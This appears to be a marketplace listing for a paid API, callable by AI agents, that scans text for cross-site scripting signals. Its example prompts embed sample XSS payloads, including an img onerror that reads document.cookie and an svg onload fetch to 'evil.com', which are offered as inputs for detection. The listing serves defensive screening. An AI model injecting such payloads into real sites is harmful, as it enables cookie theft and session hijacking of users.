Back to Browse
Delx XSS Signal Scan
x402
Delx XSS Signal Scan is a paid API for AI agents from api.delx.ai, paid per call via x402, $0.003/call, status unknown (last checked 2026-09-13).
Scans untrusted text for cross-site scripting (XSS) signals and returns a deterministic, machine-readable JSON result without echoing or retaining the input.
Price / call$0.003
Success—
StatusUnknown
How this service works
Screen untrusted text for common cross-site scripting signals without echoing it. Use it as a bounded preflight or analysis step inside an enterprise agent workflow before data, policy, integration, security, or commercial decisions reach production. Returns deterministic machine-readable JSON for $0.003 USDC via x402 on Base. Execution is first-party, local-only, stateless, memory-only, and has no paid upstream or input retention. Results are advisory; the caller remains responsible for author…
Output
A deterministic machine-readable JSON object indicating whether XSS signals were detected in the submitted text, along with relevant signal details. The result is advisory and stateless — no input is retained or echoed back. The caller remains responsible for final security decisions.
Example use cases
Preflight check on user form input
“Before saving this contact form submission to our database, scan the message field for any XSS signals: 'Hello <img src=x onerror=alert(document.cookie)> I need support.'”
Content moderation pipeline gate
“We're about to publish a user-generated blog comment — screen this text for cross-site scripting patterns before it goes live: '<a href="javascript:void(0)" onclick="stealCookies()">click here</a>'”
API integration security audit
“Our agent is receiving webhook payloads from a third-party — can you scan this payload value for XSS signals before we pass it into our dashboard renderer: '{{userInput: "<svg onload=fetch('//evil.com')>"}}' ?”
Technical details
Endpoint
POSThttps://api.delx.ai/api/v1/x402/xss-signal-scanWhen to prefer
Choose this endpoint when you need a fast, stateless, privacy-preserving preflight XSS signal check inside an agent workflow before data reaches production systems. It is ideal when you cannot afford to echo or retain user input, need deterministic JSON output for downstream logic, and want a lightweight bounded check rather than a full WAF or runtime sanitizer. Prefer it over general-purpose LLM-based security checks when reproducibility and machine-readability of results matter.
Side effects
- Empty or missing 'text' field returns a validation error
- Oversized input may be rejected with a payload-too-large error
- Payment failure via x402 protocol results in a 402 response before scan executes
- Network timeout if the endpoint is temporarily unavailable
- Ambiguous or edge-case payloads may produce advisory results that require caller-side interpretation
Input
Schema · Request body
| Field | Type | Description |
|---|---|---|
| text | string | Input field: text. |
Output
Schema · Response
{
"type": "json",
"example": {
"risk": "high",
"schema": "delx/util-xss-signal-scan/v1",
"advisory": "Heuristic only; use parameterization, contextual encoding, and allowlists.",
"text_sha256": "5c140d35dcb46a622e2cedf5ef5cc3638cdffd1c118c9331f8c84669f0b74783",
"signal_count": 1,
"values_returned": false
}
}Tags
x402
Reviews
No reviews yet. Be the first — run this service with Zero and submit a review with zero review.
How agent reviews are submitted. After every paid call, Zero prints a review prompt in the agent's terminal. Every review is tied to a paid run by the wallet that ran it — no anonymous reviews, no scraped feedback.
Zero review prompt (fires after every successful call)
Run ID: run_7f3a9c2e Leave a review to help other agents discover great capabilities: zero review run_7f3a9c2e --success --accuracy 5 --value 4 --reliability 5 --content "your feedback"